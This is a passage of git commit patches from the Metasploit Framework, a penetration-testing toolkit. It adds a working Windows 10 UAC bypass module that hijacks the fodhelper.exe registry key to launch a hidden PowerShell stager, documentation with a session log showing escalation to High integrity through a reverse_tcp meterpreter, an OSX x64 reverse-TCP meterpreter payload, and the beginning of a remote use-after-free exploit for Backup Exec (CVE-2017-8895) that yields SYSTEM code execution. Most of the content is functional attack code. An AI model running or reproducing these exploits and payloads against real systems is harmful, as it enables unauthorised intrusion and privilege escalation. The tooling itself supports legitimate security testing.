request" + end + unless code == 0 # WindowsError::NTStatus::STATUS_SUCCESS raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login" end @@ -290,6 +298,7 @@ class MetasploitModule < Msf::Exploit::Remote def smb1_get_response(sock) raw = sock.get_once + return nil unless raw response = RubySMB::SMB1::SMBHeader.read(raw[4..-1]) code = response.nt_status return code, raw, response From 74c08cebee3362e748469c8a8416c5d6807e46d9 Mon Sep 17 00:00:00 2001 From: amaloteaux Date: Mon, 22 May 2017 17:25:17 +0100 Subject: [PATCH 048/686] Add bypassuac fodhelper module for Windows 10 --- .../windows/local/bypassuac_fodhelper.rb | 208 ++++++++++++++++++ 1 file changed, 208 insertions(+) create mode 100644 modules/exploits/windows/local/bypassuac_fodhelper.rb diff --git a/modules/exploits/windows/local/bypassuac_fodhelper.rb b/modules/exploits/windows/local/bypassuac_fodhelper.rb new file mode 100644 index 0000000000..71aeef84d2 --- /dev/null +++ b/modules/exploits/windows/local/bypassuac_fodhelper.rb @@ -0,0 +1,208 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/exploit/exe' +require 'msf/core/exploit/powershell' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Exploit::Powershell + include Post::Windows::Priv + include Post::Windows::Registry + include Post::Windows::Runas + + FODHELPER_DEL_KEY = "HKCU\\Software\\Classes\\ms-settings" + FODHELPER_WRITE_KEY = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command" + EXEC_REG_DELEGATE_VAL = 'DelegateExecute' + EXEC_REG_VAL = '' # This maps to "(Default)" + EXEC_REG_VAL_TYPE = 'REG_SZ' + FODHELPER_PATH = "%WINDIR%\\System32\\fodhelper.exe" + CMD_MAX_LEN = 16383 + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Escalate UAC Protection Bypass (Via FodHelper Registry Key)', + 'Description' => %q{ + This module will bypass Windows 10 UAC by hijacking a special key in the Registry under + the current user hive, and inserting a custom command that will get invoked when + the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC + flag turned off. + + This module modifies a registry key, but cleans up the key once the payload has + been invoked. + + The module does not require the architecture of the payload to match the OS. If + specifying EXE::Custom your DLL should call ExitProcess() after starting your + payload in a separate process. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'winscriptingblog', # UAC bypass discovery and research + 'amaloteaux' , # MSF module + ], + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'], + 'Targets' => [ + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] + ], + 'DefaultTarget' => 0, + 'References' => [ + [ + 'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/', + 'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1' + ] + ], + 'DisclosureDate'=> 'May 12 2017' + )) + end + + def check + if sysinfo['OS'] =~ /Windows (10)/ && is_uac_enabled? + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + def exploit + commspec = '%COMSPEC%' + registry_view = REGISTRY_VIEW_NATIVE + psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe" + + # Make sure we have a sane payload configuration + if sysinfo['Architecture'] == ARCH_X64 + if session.arch == ARCH_X86 + # fodhelper.exe is x64 only exe + commspec = '%WINDIR%\\Sysnative\\cmd.exe' + if target_arch.first == ARCH_X64 + # We can't use absolute path here as + # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session + psh_path = "powershell.exe" + end + end + if target_arch.first == ARCH_X86 + # Invoking x86, so switch to SysWOW64 + psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe" + end + else + # if we're on x86, we can't handle x64 payloads + if target_arch.first == ARCH_X64 + fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') + end + end + + if !payload.arch.empty? && !(payload.arch.first == target_arch.first) + fail_with(Failure::BadConfig, 'payload and target should use the same architecture') + end + + # Validate that we can actually do things before we bother + # doing any more work + check_permissions! + + case get_uac_level + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT + fail_with(Failure::NotVulnerable, + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting..." + ) + when UAC_DEFAULT + print_good('UAC is set to Default') + print_good('BypassUAC can bypass this setting, continuing...') + when UAC_NO_PROMPT + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') + shell_execute_exe + return + end + + payload_value = rand_text_alpha(8) + psh_path = expand_path(psh_path) + + template_path = Rex::Powershell::Templates::TEMPLATE_DIR + psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded) + + if psh_payload.length > CMD_MAX_LEN + fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})") + end + + psh_stager = "\"IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\"" + cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}" + + existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || "" + exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil? + + if existing.empty? + registry_createkey(FODHELPER_WRITE_KEY, registry_view) + end + + print_status("Configuring payload and stager registry keys ...") + unless exist_delegate + registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view) + end + + registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view) + registry_setvaldata(FODHELPER_WRITE_KEY, payload_value,psh_payload, EXEC_REG_VAL_TYPE, registry_view) + + # Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch. + cmd_path = expand_path(commspec) + cmd_args = expand_path("/c #{FODHELPER_PATH}") + print_status("Executing payload: #{cmd_path} #{cmd_args}") + + # We can't use cmd_exec here because it blocks, waiting for a result. + client.sys.process.execute(cmd_path, cmd_args, {'Hidden' => true}) + + # Wait a copule of seconds to give the payload a chance to fire before cleaning up + # TODO: fix this up to use something smarter than a timeout? + Rex::sleep(5) + + handler(client) + + print_status("Cleaining up registry keys ...") + unless exist_delegate + registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view) + end + if existing.empty? + registry_deletekey(FODHELPER_DEL_KEY, registry_view) + else + registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view) + end + registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view) + + end + + def check_permissions! + fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? + + # Check if you are an admin + vprint_status('Checking admin status...') + admin_group = is_in_admin_group? + + unless check == Exploit::CheckCode::Appears + fail_with(Failure::NotVulnerable, "Target is not vulnerable.") + end + + unless is_in_admin_group? + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') + end + + print_status('UAC is Enabled, checking level...') + if admin_group.nil? + print_error('Either whoami is not there or failed to execute') + print_error('Continuing under assumption you already checked...') + else + if admin_group + print_good('Part of Administrators group! Continuing...') + else + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') + end + end + + if get_integrity_level == INTEGRITY_LEVEL_SID[:low] + fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') + end + end +end From 092e7b96b80b576d99782b58c362a2b756d21cff Mon Sep 17 00:00:00 2001 From: amaloteaux Date: Mon, 22 May 2017 17:27:50 +0100 Subject: [PATCH 049/686] typo --- modules/exploits/windows/local/bypassuac_fodhelper.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/bypassuac_fodhelper.rb b/modules/exploits/windows/local/bypassuac_fodhelper.rb index 71aeef84d2..b5f46e2ade 100644 --- a/modules/exploits/windows/local/bypassuac_fodhelper.rb +++ b/modules/exploits/windows/local/bypassuac_fodhelper.rb @@ -24,7 +24,7 @@ class MetasploitModule < Msf::Exploit::Local def initialize(info={}) super(update_info(info, - 'Name' => 'Windows Escalate UAC Protection Bypass (Via FodHelper Registry Key)', + 'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)', 'Description' => %q{ This module will bypass Windows 10 UAC by hijacking a special key in the Registry under the current user hive, and inserting a custom command that will get invoked when From 6f1f630b0eaf406fff2822bb90ac3d9d88224e9d Mon Sep 17 00:00:00 2001 From: amaloteaux Date: Mon, 22 May 2017 19:17:26 +0100 Subject: [PATCH 050/686] add documentation --- .../windows/local/bypassuac_fodhelper.md | 89 +++++++++++++++++++ 1 file changed, 89 insertions(+) create mode 100644 documentation/modules/exploit/windows/local/bypassuac_fodhelper.md diff --git a/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md b/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md new file mode 100644 index 0000000000..d84a7cc89a --- /dev/null +++ b/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md @@ -0,0 +1,89 @@ +## Intro + + This module will bypass Windows 10 UAC by hijacking a special key in the Registry under + the current user hive, and inserting a custom command that will get invoked when + the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC + flag turned off. + + This module modifies a registry key, but cleans up the key once the payload has + been invoked. + + The module does not require the architecture of the payload to match the OS. If + specifying EXE::Custom your DLL should call ExitProcess() after starting your + payload in a separate process. + +## Usage + + You'll first need to obtain a session on the target system. + Next, once the module is loaded, one simply needs to set the ```payload``` and ```session``` options. + + +##Scenario + + +``` +msf > +[*] Sending stage (1189423 bytes) to 192.168.50.4 +[*] Meterpreter session 11 opened (192.168.50.1:4444 -> 192.168.50.4:1654) at 2017-05-22 19:10:43 +0100 + +msf > sessions -i 11 +[*] Starting interaction with 11... + +meterpreter > shell +Process 9496 created. +Channel 1 created. +Microsoft Windows [Version 10.0.14393] +(c) 2016 Microsoft Corporation. All rights reserved. + +C:\Users\sasha\Desktop>whoami /all | findstr /C:"Mandatory Label" +whoami /all | findstr /C:"Mandatory Label" +Mandatory Label\Medium Mandatory Level Label S-1-16-8192 + +C:\Users\sasha\Desktop>exit +exit +meterpreter > +Background session 11? [y/N] +msf > use exploit/windows/local/bypassuac_fodhelper +msf exploit(bypassuac_fodhelper) > set SESSION 11 +SESSION => 11 +msf exploit(bypassuac_fodhelper) > show targets + +Exploit targets: + + Id Name + -- ---- + 0 Windows x86 + 1 Windows x64 + + +msf exploit(bypassuac_fodhelper) > set target 0 +target => 0 +msf exploit(bypassuac_fodhelper) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf exploit(bypassuac_fodhelper) > run + +[*] Started reverse TCP handler on 192.168.50.1:4445 +[*] UAC is Enabled, checking level... +[+] Part of Administrators group! Continuing... +[+] UAC is set to Default +[+] BypassUAC can bypass this setting, continuing... +[*] Configuring payload and stager registry keys ... +[*] Executing payload: C:\WINDOWS\system32\cmd.exe /c C:\WINDOWS\System32\fodhelper.exe +[*] Sending stage (957487 bytes) to 192.168.50.4 +[*] Meterpreter session 12 opened (192.168.50.1:4445 -> 192.168.50.4:1655) at 2017-05-22 19:12:03 +0100 +[*] Cleaining up registry keys ... + +meterpreter > shell +Process 4076 created. +Channel 1 created. +Microsoft Windows [Version 10.0.14393] +(c) 2016 Microsoft Corporation. All rights reserved. + +C:\WINDOWS\system32>whoami /all | findstr /C:"Mandatory Label" +whoami /all | findstr /C:"Mandatory Label" +ERROR: Unable to get user claims information. +Mandatory Label\High Mandatory Level Label S-1-16-12288 + +C:\WINDOWS\system32> + +``` From 93bb47d54693edfbb5f2df031f169e4b1a87741a Mon Sep 17 00:00:00 2001 From: amaloteaux Date: Mon, 22 May 2017 19:27:15 +0100 Subject: [PATCH 051/686] msftidy fix --- .../windows/local/bypassuac_fodhelper.md | 1 - .../windows/local/bypassuac_fodhelper.rb | 24 +++++++++---------- 2 files changed, 12 insertions(+), 13 deletions(-) diff --git a/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md b/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md index d84a7cc89a..2017cbc7eb 100644 --- a/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md +++ b/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md @@ -20,7 +20,6 @@ ##Scenario - ``` msf > [*] Sending stage (1189423 bytes) to 192.168.50.4 diff --git a/modules/exploits/windows/local/bypassuac_fodhelper.rb b/modules/exploits/windows/local/bypassuac_fodhelper.rb index b5f46e2ade..8eac5c5949 100644 --- a/modules/exploits/windows/local/bypassuac_fodhelper.rb +++ b/modules/exploits/windows/local/bypassuac_fodhelper.rb @@ -78,11 +78,11 @@ class MetasploitModule < Msf::Exploit::Local if session.arch == ARCH_X86 # fodhelper.exe is x64 only exe commspec = '%WINDIR%\\Sysnative\\cmd.exe' - if target_arch.first == ARCH_X64 - # We can't use absolute path here as - # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session - psh_path = "powershell.exe" - end + if target_arch.first == ARCH_X64 + # We can't use absolute path here as + # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session + psh_path = "powershell.exe" + end end if target_arch.first == ARCH_X86 # Invoking x86, so switch to SysWOW64 @@ -95,10 +95,10 @@ class MetasploitModule < Msf::Exploit::Local end end - if !payload.arch.empty? && !(payload.arch.first == target_arch.first) - fail_with(Failure::BadConfig, 'payload and target should use the same architecture') - end - + if !payload.arch.empty? && !(payload.arch.first == target_arch.first) + fail_with(Failure::BadConfig, 'payload and target should use the same architecture') + end + # Validate that we can actually do things before we bother # doing any more work check_permissions! @@ -124,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Local template_path = Rex::Powershell::Templates::TEMPLATE_DIR psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded) - + if psh_payload.length > CMD_MAX_LEN fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})") end @@ -145,7 +145,7 @@ class MetasploitModule < Msf::Exploit::Local end registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view) - registry_setvaldata(FODHELPER_WRITE_KEY, payload_value,psh_payload, EXEC_REG_VAL_TYPE, registry_view) + registry_setvaldata(FODHELPER_WRITE_KEY, payload_value,psh_payload, EXEC_REG_VAL_TYPE, registry_view) # Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch. cmd_path = expand_path(commspec) @@ -168,7 +168,7 @@ class MetasploitModule < Msf::Exploit::Local if existing.empty? registry_deletekey(FODHELPER_DEL_KEY, registry_view) else - registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view) + registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view) end registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view) From 2fbbc98b5d2a47e57a5da33592b9ca8f932e87ae Mon Sep 17 00:00:00 2001 From: amaloteaux Date: Mon, 22 May 2017 19:50:40 +0100 Subject: [PATCH 052/686] document little trick for those who read :) --- .../modules/exploit/windows/local/bypassuac_fodhelper.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md b/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md index 2017cbc7eb..95e24cbfba 100644 --- a/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md +++ b/documentation/modules/exploit/windows/local/bypassuac_fodhelper.md @@ -15,7 +15,10 @@ ## Usage You'll first need to obtain a session on the target system. - Next, once the module is loaded, one simply needs to set the ```payload``` and ```session``` options. + Next, once the module is loaded, one simply needs to set the ```payload``` and ```session``` options. + The module use an hardcoded timeout of 5 seconds during which it expects fodhelper.exe to be launched on the target system. + On slower system this may be too short, resulting in no session being created. In this case disable the automatic payload handler (`set DISABLEPAYLOADHANDLER true`) + and manually create a job handler corresponding to the payload. ##Scenario From d333077308e865034571a46a3fe9375612c2a57b Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 23 May 2017 09:47:23 +0800 Subject: [PATCH 053/686] osx meterpreter --- lib/msf/base/sessions/meterpreter_x64_osx.rb | 29 ++++++++++++++ lib/msf/util/exe.rb | 28 ++++++++----- .../osx/x64/meterpreter_reverse_tcp.rb | 40 +++++++++++++++++++ 3 files changed, 87 insertions(+), 10 deletions(-) create mode 100644 lib/msf/base/sessions/meterpreter_x64_osx.rb create mode 100644 modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb diff --git a/lib/msf/base/sessions/meterpreter_x64_osx.rb b/lib/msf/base/sessions/meterpreter_x64_osx.rb new file mode 100644 index 0000000000..2e507e9055 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_x64_osx.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_x64_OSX < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.base_platform = 'osx' + self.base_arch = ARCH_X64 + end +end + +end +end + diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index d41f3876e7..d05f043ed7 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -106,7 +106,7 @@ require 'msf/core/exe/segment_appender' # @return [String] # @return [NilClass] def self.to_executable(framework, arch, plat, code = '', opts = {}) - if elf? code + if elf? code or macho? code return code end @@ -2122,15 +2122,19 @@ require 'msf/core/exe/segment_appender' end end when 'macho', 'osx-app' - macho = case arch - when ARCH_X86,nil - to_osx_x86_macho(framework, code, exeopts) - when ARCH_X64 - to_osx_x64_macho(framework, code, exeopts) - when ARCH_ARMLE - to_osx_arm_macho(framework, code, exeopts) - when ARCH_PPC - to_osx_ppc_macho(framework, code, exeopts) + if macho? code + macho = code + else + macho = case arch + when ARCH_X86,nil + to_osx_x86_macho(framework, code, exeopts) + when ARCH_X64 + to_osx_x64_macho(framework, code, exeopts) + when ARCH_ARMLE + to_osx_arm_macho(framework, code, exeopts) + when ARCH_PPC + to_osx_ppc_macho(framework, code, exeopts) + end end fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho when 'vba' @@ -2258,6 +2262,10 @@ require 'msf/core/exe/segment_appender' code[0..3] == "\x7FELF" end + def self.macho?(code) + code[0..3] == "\xCF\xFA\xED\xFE" + end + end end end diff --git a/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb new file mode 100644 index 0000000000..dbb741e67c --- /dev/null +++ b/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb @@ -0,0 +1,40 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/meterpreter_options' +require 'msf/base/sessions/mettle_config' +require 'msf/base/sessions/meterpreter_x64_osx' + +module MetasploitModule + + include Msf::Payload::Single + include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MettleConfig + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OSX Meterpreter, Reverse TCP Inline', + 'Description' => 'Run the Meterpreter / Mettle server payload (stageless)', + 'Author' => [ + 'Adam Cammack ', + 'Brent Cook ' + ], + 'Platform' => 'osx', + 'Arch' => ARCH_X64, + 'License' => MSF_LICENSE, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::Meterpreter_x64_OSX + ) + ) + end + + def generate + opts = {scheme: 'tcp'} + MetasploitPayloads::Mettle.new('x86_64-apple-darwin', generate_config(opts)).to_binary :exec + end +end From 52363aec131cbf5c5e70d63a7f7f64216bafee4d Mon Sep 17 00:00:00 2001 From: Matthew Daley Date: Wed, 24 May 2017 00:11:06 +1200 Subject: [PATCH 054/686] Add module for CVE-2017-8895, UAF in Backup Exec Windows agent This module exploits a use-after-free vulnerability in the handling of SSL NDMP connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL is re-established on a NDMP connection that previously has had SSL established, the BIO struct for the connection's previous SSL session is reused, even though it has previously been freed. Successful exploitation will give remote code execution as the user of the Backup Exec Remote Agent for Windows service, almost always NT AUTHORITY\SYSTEM. --- Gemfile.lock | 4 + lib/msf/core/exploit/ndmp_socket.rb | 199 +++ metasploit-framework.gemspec | 2 + .../exploits/windows/backupexec/ssl_uaf.rb | 1345 +++++++++++++++++ 4 files changed, 1550 insertions(+) create mode 100644 lib/msf/core/exploit/ndmp_socket.rb create mode 100644 modules/exploits/windows/backupexec/ssl_uaf.rb diff --git a/Gemfile.lock b/Gemfile.lock index 1c5394bfd6..18aeef2ec7 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -85,6 +85,7 @@ PATH tzinfo tzinfo-data windows_error + xdr xmlrpc GEM @@ -376,6 +377,9 @@ GEM tzinfo-data (1.2017.2) tzinfo (>= 1.0.0) windows_error (0.1.2) + xdr (2.0.0) + activemodel (>= 4.2.7) + activesupport (>= 4.2.7) xmlrpc (0.3.0) xpath (2.0.0) nokogiri (~> 1.3) diff --git a/lib/msf/core/exploit/ndmp_socket.rb b/lib/msf/core/exploit/ndmp_socket.rb new file mode 100644 index 0000000000..82c95dc43a --- /dev/null +++ b/lib/msf/core/exploit/ndmp_socket.rb @@ -0,0 +1,199 @@ +require 'msf/core' +require 'xdr' + +module Msf + +### +# +# This module exposes methods for accessing NDMP services using a class-based wrapper +# around normal sockets, allowing the use of more than one NDMP connection at once. +# +### +module Exploit::Remote::NDMPSocket + +module NDMP + +# +# This class represents a NDMP message, including its header and body. +# +class Message + class Header < XDR::Struct + attribute :sequence_num, XDR::Int + attribute :timestamp, XDR::Int + attribute :is_response, XDR::Bool + attribute :type, XDR::Int + attribute :reply_sequence_num, XDR::Int + attribute :error, XDR::Int + end + + CONFIG_GET_HOST_INFO = 0x100 + CONFIG_GET_BUTYPE_ATTR = 0x101 + CONFIG_GET_SERVER_INFO = 0x108 + NOTIFY_CONNECTED = 0x502 + CONNECT_OPEN = 0x900 + CONNECT_CLIENT_AUTH = 0x901 + + def self.new_request(type, body='') + header = Header.new( + :sequence_num => nil, + :timestamp => nil, + :is_response => false, + :type => type, + :reply_sequence_num => 0, + :error => 0 + ) + new(header, body) + end + + attr_accessor :header, :body + + def initialize(header, body) + @header = header + @body = body + end +end + +# +# This class wraps a normal socket with NDMP functionality, such as NDMP message reading +# and writing. +# +class Socket + def initialize(sock) + @sock = sock + @next_sequence_num = 1 + end + + def raw_recv(*args) + @sock.recv(*args) + end + + def raw_recvall(n, *args) + r = '' + while r.length < n + s = raw_recv(n - r.length, *args) + return nil if s.to_s.empty? + r << s + end + r + end + + def raw_send(*args) + @sock.send(*args) + end + + def raw_sendall(s, *args) + n = 0 + while n < s.length + i = raw_send(s[n..s.length], *args) + return false if i <= 0 + n += i + end + + true + end + + def close + @sock.close + end + + # + # Read a single NDMP message. If require_ok_type is given, the message must be of the + # given type and have no error indicated. + # + def read_ndmp_msg(require_ok_type=nil) + frags = read_ndmp_frags + return nil if frags.nil? + header = Message::Header.from_xdr(frags.slice!(0...(4 * 6))) + + return nil if require_ok_type && (require_ok_type != header.type || header.error != 0) + + Message.new(header, frags) + end + + # + # Prepare a NDMP message for sending and send it. Can send messages multiple times. + # + # If all_but_all_char is true, then the last character will be held back and will be + # returned so that it can be sent at a later point elsewhere. This is sometimes + # necessary for exploiting e.g. race conditions. + # + def prepare_and_write_ndmp_msg(msg, all_but_last_char=false, times=1, flags=0) + msg.header.sequence_num = @next_sequence_num + @next_sequence_num += 1 + msg.header.timestamp = Time.now.to_i + + frag = msg.header.to_xdr + msg.body + write_ndmp_frag(frag, all_but_last_char, times, flags) + end + + # + # Send and recieve a pair of NDMP messages. + # + def do_request_response(msg, *args) + return nil unless prepare_and_write_ndmp_msg(msg, *args) + read_ndmp_msg(msg.header.type) + end + + # + # Establish a SSL session on the socket. Raw socket reading/writing functions are + # replaced with their SSL equivalents. + # + def wrap_with_ssl(ssl_context) + @sock = OpenSSL::SSL::SSLSocket.new(@sock, ssl_context) + @sock.connect + + def self.raw_recv(n, *_args) + @sock.sysread(n) + end + + def self.raw_send(b, *_args) + @sock.syswrite(b) + end + end + + private + + # + # Read and reassemble a group of NDMP fragments. Usually NDMP messages are sent in a + # single NDMP fragment, but this is not guaranteed by the standard. + # + def read_ndmp_frags + result = '' + + loop do + buf = raw_recvall(4) + return nil if buf.nil? + n = buf.unpack('N')[0] + len = n & 0x7fffffff + last = (n & 0x80000000) != 0 + + buf = raw_recvall(len) + return nil if buf.nil? + result << buf + + break if last + end + + result + end + + # + # Write a NDMP fragment (i.e. containing a NDMP packet). + # + # Can hold back on sending the last character; see prepare_and_write_ndmp_msg. + # + def write_ndmp_frag(buf, all_but_last_char, times, flags) + buf = ([buf.length | 0x80000000].pack('N') + buf) * times + + return false unless raw_sendall(all_but_last_char ? buf[0...-1] : buf, flags) + + all_but_last_char ? buf[-1] : true + end + +end + +end + +end + +end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 0e57c6cc1e..b129364688 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -172,4 +172,6 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'nessus_rest' # Nexpose Gem spec.add_runtime_dependency 'nexpose' + # Needed for NDMP sockets + spec.add_runtime_dependency 'xdr' end diff --git a/modules/exploits/windows/backupexec/ssl_uaf.rb b/modules/exploits/windows/backupexec/ssl_uaf.rb new file mode 100644 index 0000000000..77593140e1 --- /dev/null +++ b/modules/exploits/windows/backupexec/ssl_uaf.rb @@ -0,0 +1,1345 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/exploit/ndmp_socket' + +require 'openssl' +require 'xdr' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::NDMPSocket + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free', + 'Description' => %q{ + This module exploits a use-after-free vulnerability in the handling of SSL NDMP + connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL + is re-established on a NDMP connection that previously has had SSL established, + the BIO struct for the connection's previous SSL session is reused, even though it + has previously been freed. + + This module supports 3 specific versions of the Backup Exec agent in the 14, 15 + and 16 series on 64-bit and 32-bit versions of Windows and has been tested from + Vista to Windows 10. The check command can help narrow down what major and minor + revision is installed and the precise of version of Windows, but some other + information may be required to make a reliable choice of target. + + NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a + reliability of around 85%. On other versions of Windows, reliability is around 35% + (due to the need to win a race condition across the network in this case; this may + drop further depending on network conditions). The agent is normally installed on + all hosts in a domain that need to be backed up, so if one service crashes, try + again on another :) Successful exploitation will give remote code execution as the + user of the Backup Exec Remote Agent for Windows service, almost always + NT AUTHORITY\SYSTEM. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Matthew Daley' ], + 'References' => + [ + [ 'CVE', '2017-8895' ], + [ 'VTS', '17-006' ], + [ 'URL', 'https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ] + ], + 'Platform' => 'win', + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'Payload' => + { + 'DisableNops' => true + }, + 'Targets' => + [ + [ + 'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64', + { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => true } + ], + [ + 'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86', + { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => true } + ], + [ + 'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64', + { 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => false } + ], + [ + 'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86', + { 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => false } + ], + [ + 'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64', + { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => true } + ], + [ + 'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86', + { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => true } + ], + [ + 'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64', + { 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => false } + ], + [ + 'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86', + { 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => false } + ], + [ + 'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64', + { 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => true } + ], + [ + 'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86', + { 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => true } + ], + [ + 'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64', + { 'Version' => 16, 'Arch' => ARCH_X64, 